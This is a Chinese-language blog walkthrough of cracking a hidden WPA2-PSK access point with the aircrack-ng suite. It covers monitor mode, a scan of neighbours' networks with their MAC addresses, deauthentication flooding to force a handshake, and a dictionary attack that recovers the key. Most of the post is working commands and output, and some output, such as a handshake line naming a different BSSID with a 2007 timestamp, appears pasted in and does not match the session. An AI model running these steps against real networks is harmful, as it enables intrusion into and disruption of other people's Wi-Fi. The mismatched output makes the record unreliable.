以前的Wifi AP 採 WEP 通訊加密,只要攔截足夠的封包(一般會借助 aireplay-nt -3 )就能解密,最近的 AP 大都改採 WPA2 ,大家都說 WPA2 比 WEP 更安全,但是如果密碼強度不足(例如使用出廠預設值),環境因素也配合,其實也蠻好破解的。
本篇就是針對採用 WPA2-PSK AP進行破解的紀錄,看完之後你應該不會再認為 WPA2 很安全。
為了不讓一般人掃描到此 AP,此 AP 已隱藏 SSID,在不知 SSID 下其實透過 airodump-ng 很容就可以找出隱藏的 SSID,此次破解使用到的工具軟體如下:
ifconfig :啟動及查看網卡狀態。
iwconfig :查看無線網卡的狀態及作用模式。
airmon-ng :將無線網卡啟用在監聽模式。
airodump-ng :擷取往來的封包。
aireplay-ng :利用阻斷方式讓 Client重新尋求連線。
aircrack-ng :利用擷取的封包檔進行破解,
由於要使用 arimon-ng ,網卡須具備監聽/注入功能,我使用的是
ARGtek GM5 WLAN 802.11b/g/n USB 網卡 ,這一片網卡在 BackTrack5 或 Kali 上使用都有一點點小問題,就是有時候會不靈光,明明已啟動監聽模,可是卻監聽不到任何資料。
操作步驟如下:
root@kali104:/# lsusb 利用 lsusb 查看 USB 的裝置資訊
Bus 001 Device 002: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
root@kali104:/# ifconfig USB網卡剛接上時,ifconfig 還看不到
eth0 Link encap:Ethernet HWaddr 00:0c:29:c8:c6:3f
inet addr:192.168.206.128 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
(部分訊息省略~~)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
(部分訊息省略~~)
root@kali104:/# iwconfig 利用 iwconfig 則可以看到網卡為 wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm p;p;
Retry long limit:7 RTS thr:off Fragment thr:offffff
Encryption key:offff
Power Management:onon
root@kali104:/# ifconfig wlan0 up 利用 ifconfig 啟動 wlan0 網卡
root@kali104:/# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:c8:c6:3f
inet addr:192.168.206.128 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
(部分訊息省略~~)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
(部分訊息省略~~)
wlan0 Link encap:Ethernet HWaddr 00:0c:43:a4:33:a1 <== 此網卡的 BSSID
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@kali104:/# airmon-ng start wlan0
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2669 dhclient
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0) wlan0 已開啟監聽模式,接口名稱為 mon0
root@kali104:/# aireplay-ng -9 mon0
08:27:31 Trying broadcast probe requests...
08:27:33 No Answer... 利用 aireplay-ng 測試,結果收不到訊號
08:27:33 Found 0 APs
前面說過這個 USB 網卡有時會收不到訊號,用 aireplay-ng 測一下就知道了,如果你的網卡可以正常啟用監聽模式,就不會理會下面的處理方法。
決解方式就是啟用 airodump-ng mon0 (會掃描 Channel,但收不到封包),等 Channel 掃描過一輪,然後就直接拔掉 USB 接頭,airodump-ng 的掃描動作會 hung 住,將 hung 住的 Console 關掉,約等三秒鐘,再將 USB 插回,並重新開啟一個新的 Console,再依序執行
ifconfig wlan0 up
airmon-ng start wlan0
root@kali104:/# aireplay-ng -9 mon0 重新啟用監聽模式後,再試一次 arieplay-ng
08:32:26 Trying broadcast probe requests...
08:32:26 Injection is working!
08:32:28 Found 5 APs
08:32:28 Trying directed probe requests...
08:32:28 C8:6C:87:2F:C4:7B - channel: 1 - 'CHT1823'
08:32:29 Ping (min/avg/max): 1.933ms/19.430ms/59.587ms Power: -77.47
08:32:29 30/30: 100%
08:32:29 C8:6C:87:12:14:9F - channel: 1 - 'CHT7627'
08:32:29 Ping (min/avg/max): 2.308ms/19.877ms/51.861ms Power: -66.13
08:32:29 30/30: 100%
08:32:29 00:26:5A:18:CE:0B - channel: 1 - 'alps007'
08:32:30 Ping (min/avg/max): 2.911ms/22.709ms/30.617ms Power: -77.67
08:32:30 30/30: 100%
08:32:30 B0:B2:DC:30:D0:B0 - channel: 1 - 'CHT8872'
08:32:34 Ping (min/avg/max): 3.144ms/7.718ms/13.795ms Power: -81.08
08:32:34 13/30: 43%
08:32:34 00:26:5A:18:D0:81 - channel: 1 - 'alps002'
08:32:34 Ping (min/avg/max): 2.663ms/20.470ms/37.405ms Power: -79.93
08:32:34 30/30: 100%
這時候就描到我家附近有五個 AP ! 表示 監聽模式已成功運作! 接下來就可以正常工作了!
root@kali104:/# iwconfig 再用 iwconfig 就可以看到 wlan0 及監聽接口 mon0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
mon0 IEEE 802.11bgn Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on
(如果要查看附近 AP 的 BSSID (MAC address),可以利用 iwlist 指令)
root@kali104:/# airodump-ng mon0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:2C:2C:BF:6B:BA -1 9 0 0 10 11 OPN HP43A43B
08:10:77:69:1D:E0 -43 21 30 0 9 54e WPA2 CCMP PSK AP_WPA
C8:6C:87:12:14:9F -62 10 1 0 1 54e WPA CCMP PSK CHT7627
00:26:5A:18:D0:82 -77 5 0 0 5 54e. OPN alps001
00:26:5A:18:CE:0B -78 3 3 0 1 54e. OPN alps0077
C8:6C:87:2F:C4:7B -78 7 0 0 1 54e WPA TKIP PSK CHT1823
00:13:46:FF:01:32 -79 7 0 0 6 54 . OPN alps01
00:26:5A:18:D0:94 -80 5 0 0 6 54e. OPN alps004
00:26:5A:18:D0:81 -83 2 0 0 1 54e. OPN alps002
78:44:76:FA:0A:DC -83 2 0 0 5 54e WPA2 CCMP PSK TOTOLINK N300RA
00:D0:41:D1:8C:06 -84 3 0 0 11 54e WPA2 CCMP PSK Belle
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 00:21:00:69:39:8B -20 0 - 1 1 3 AP_WPA
02:2C:2C:BF:6B:BA 68:B5:99:43:A4:3B -80 0 - 1 68 9
08:10:77:69:1D:E0 18:00:2D:97:F5:34 -127 0e- 0e 0 4
08:10:77:69:1D:E0 8C:A9:82:1F:C8:18 -127 0e- 0e 0 27
利用 airodump-ng 我們看到更多的 AP,其中
AP_WPA 是今天示範的對象。
root@kali104:/# airodump-ng -w /tmp/ap_cmj2 -c 9 --bssid 08:10:77:69:1D:E0 mon0
-w /tmp/ap_cmj2 將擷取到的封包寫到檔案裡
-c 9 指定監聽 Channel 9
--bssid 08:10:77:69:1D:E0 mon0 指定 AP_WPA 的 MAC address
然後開啟另一個Console,要使用 aireplay -0 10 -a 08:10:77:69:1D:E0 ,發送阻斷信號,好讓 Client重新提出連線認證!
root@kali104:/# aireplay-ng -0 10 -a 08:10:77:69:1D:E0 mon0
10:09:07 Waiting for beacon frame (BSSID: 08:10:77:69:1D:E0) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c<client's mac>).
10:09:07 Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]
(部分訊息省略~~)
10:09:12 Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]
原來的 Console 則繼續擷取封包!
CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
08:10:77:69:1D:E0 -52 100 379 97030 1 9 54e WPA2 CCMP PSK <length:7>
BSSID STATION PWR Rate Lost Frames Probes
08:10:77:69:1D:E0 00:0F:B5:32:31:31 -22 36-24 2 14
08:10:77:69:1D:E0 00:14:A4:3F:8D:13 -36 0-0 0 4
08:10:77:69:1D:E0 00:0C:41:52:D1:D1 -42 36-36 0 5
root@kali104:/# 按下 Ctrl+C 返回提示號
大約擷取 90000 個封包數即可,此時按下 Ctrl-C ,中止 airodump-ng 的執行,接著用 aircrack-ng 對擷取的封包檔進行破解,記得要佐以密碼檔(很重要!)
root@kali104:/tmp# aircrack-ng -w /usr/share/john/password.lst,/usr/share/metasploit-framework/data/john/wordlists/password.lst ap_cmj2A-*.cap
不到一秒鐘就完成密碼破解,密碼就是「
1qaz2wsx3edc4rfv」
後記:要能順利破解 WPA 的密鑰,有兩項重要因素:
一、該 AP 要正好有人透過它上網。(不然就抓不到解碼用的封包)
二、字典檔要正好有此 AP 使用的密鑰。